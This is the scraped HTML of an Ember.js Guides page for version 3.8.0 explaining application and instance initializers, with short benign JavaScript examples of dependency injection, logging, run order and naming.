1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Initializers - Application Concerns - Ember Guides</title> <meta name="description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Initializers - Application Concerns - Ember Guides"> <!----> <meta property="og:description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Initializers - Application Concerns - Ember Guides"> <!----> <meta name="twitter:description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember412719" class="es-header ember-view" role="banner"><div id="ember412720" class="ember-view"><div class="container"> <nav id="ember412721" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember412722" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember412723" class="navbar-collapse collapse ember-view"><ul id="ember412724" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember412725" class="dropdown nav-item ember-view"> <a href="#" id="ember412726" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember412728" class="dropdown nav-item ember-view"> <a href="#" id="ember412729" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember412731" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember412732" class="dropdown nav-item ember-view"> <a href="#" id="ember412733" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember412735" class="dropdown nav-item ember-view"> <a href="#" id="ember412736" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember412738" class="nav navbar-nav ember-view"> <form> <div id="ember412739" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember412740" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember412741" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember412742" class="ember-basic-dropdown ember-view"> <div aria-label="v3.8.0" aria-owns="ember-basic-dropdown-content-ember412742" tabindex="0" data-ebd-id="ember412742-trigger" role="button" id="ember412743" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 3.8 (LTS) </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember412742" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember412747" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember412750" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/getting-started" id="ember412751" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember412752" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412754" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/tutorial" id="ember412755" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember412756" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412758" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/object-model" id="ember412759" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember412760" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412762" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/templates" id="ember412763" class="cp-Panel-toggle ember-view"> Templating </a> <div id="ember412764" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412766" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/components" id="ember412767" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember412768" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412770" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/controllers" id="ember412771" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember412772" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412774" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/routing" id="ember412775" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember412776" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412778" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/models" id="ember412779" class="cp-Panel-toggle ember-view"> Ember Data </a> <div id="ember412780" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412782" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/addons-and-dependencies" id="ember412783" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember412784" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412786" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/testing" id="ember412787" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember412788" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412790" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/configuring-ember" id="ember412791" class="cp-Panel-toggle ember-view"> Configuration </a> <div id="ember412792" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412794" class="cp-Panel cp-is-open ember-view"><a href="/v3.8.0/applications" id="ember412795" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember412796" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember412797" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v3.8.0/applications/applications-and-instances" id="ember412799" class="ember-view"> Applications and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.8.0/applications/dependency-injection" id="ember412801" class="ember-view"> Dependency Injection </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v3.8.0/applications/initializers" id="ember412803" class="selected ember-view"> Initializers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.8.0/applications/services" id="ember412805" class="ember-view"> Services </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.8.0/applications/run-loop" id="ember412807" class="ember-view"> The Run Loop </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412809" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/ember-inspector" id="ember412810" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember412811" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412813" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/contributing" id="ember412814" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember412815" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412817" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/glossary" id="ember412818" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember412819" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember412821" class="cp-Panel cp-is-closed ember-view"><a href="/v3.8.0/reference" id="ember412822" class="cp-Panel-toggle ember-view"> Reference </a> <div id="ember412823" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember412824" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v3.8.0. <a href="/release/applications/initializers" id="ember412825" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v3.8.0/applications/initializers.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Initializers </h1> <hr> <div id="ember412826" class="ember-view"><p>Initializers provide an opportunity to configure your application as it boots.</p> <p>There are two types of initializers: application initializers and application instance initializers.</p> <p>Application initializers are run as your application boots, and provide the primary means to configure <a href="../dependency-injection/">dependency injections</a> in your application.</p> <p>Application instance initializers are run as an application instance is loaded. They provide a way to configure the initial state of your application, as well as to set up dependency injections that are local to the application instance (e.g. A/B testing configurations).</p> <p>Operations performed in initializers should be kept as lightweight as possible to minimize delays in loading your application. Although advanced techniques exist for allowing asynchrony in application initializers (i.e. <code>deferReadiness</code> and <code>advanceReadiness</code>), these techniques should generally be avoided. Any asynchronous loading conditions (e.g. user authorization) are almost always better handled in your application route's hooks, which allows for DOM interaction while waiting for conditions to resolve.</p> <h2 id="toc_application-initializers">Application Initializers</h2> <section aria-labelledby="toc_application-initializers"> <p>Application initializers can be created with Ember CLI's <code>initializer</code> generator:</p> <pre><code class="bash language-bash">ember generate initializer shopping-cart </code></pre> <p>Let's customize the <code>shopping-cart</code> initializer to inject a <code>cart</code> property into all the routes in your application:</p> <pre><code class="javascript language-javascript"data-filename=app/initializers/shopping-cart.js>export function initialize(application) { application.inject('route', 'cart', 'service:shopping-cart'); }; export default { initialize }; </code></pre> </section> <h2 id="toc_application-instance-initializers">Application Instance Initializers</h2> <section aria-labelledby="toc_application-instance-initializers"> <p>Application instance initializers can be created with Ember CLI's <code>instance-initializer</code> generator:</p> <pre><code class="bash language-bash">ember generate instance-initializer logger </code></pre> <p>Let's add some simple logging to indicate that the instance has booted:</p> <pre><code class="javascript language-javascript"data-filename=app/instance-initializers/logger.js>export function initialize(applicationInstance) { let logger = applicationInstance.lookup('logger:main'); logger.log('Hello from the instance initializer!'); } export default { initialize }; </code></pre> </section> <h2 id="toc_specifying-initializer-order">Specifying Initializer Order</h2> <section aria-labelledby="toc_specifying-initializer-order"> <p>If you'd like to control the order in which initializers run, you can use the <code>before</code> and/or <code>after</code> options:</p> <pre><code class="javascript language-javascript"data-filename=app/initializers/config-reader.js>export function initialize(application) { // ... your code ... }; export default { before: 'websocket-init', initialize }; </code></pre> <pre><code class="javascript language-javascript"data-filename=app/initializers/websocket-init.js>export function initialize(application) { // ... your code ... }; export default { after: 'config-reader', initialize }; </code></pre> <pre><code class="javascript language-javascript"data-filename=app/initializers/asset-init.js>export function initialize(application) { // ... your code ... }; export default { after: ['config-reader', 'websocket-init'], initialize }; </code></pre> <p>Note that ordering only applies to initializers of the same type (i.e. application or application instance). Application initializers will always run before application instance initializers.</p> </section> <h2 id="toc_customizing-initializer-names">Customizing Initializer Names</h2> <section aria-labelledby="toc_customizing-initializer-names"> <p>By default initializer names are derived from their module name. This initializer will be given the name <code>logger</code>:</p> <pre><code class="javascript language-javascript"data-filename=app/instance-initializers/logger.js>export function initialize(applicationInstance) { let logger = applicationInstance.lookup('logger:main'); logger.log('Hello from the instance initializer!'); } export default { initialize }; </code></pre> <p>If you want to change the name you can simply rename the file, but if needed you can also specify the name explicitly:</p> <pre><code class="javascript language-javascript"data-filename=app/instance-initializers/logger.js>export function initialize(applicationInstance) { let logger = applicationInstance.lookup('logger:main'); logger.log('Hello from the instance initializer!'); } export default { name: 'my-logger', initialize }; </code></pre> <p>This initializer will now have the name <code>my-logger</code>.</p> </section> </div> <footer id="ember412827" class="ember-view"> <a href="/v3.8.0/applications/dependency-injection" id="ember412828" class="previous-guide ember-view">Dependency Injection</a> <a href="/v3.8.0/applications/services" id="ember412829" class="next-guide ember-view"> Services </a></footer> </article> </main> <footer id="ember412830" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember412831" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember412832" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember412833" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" 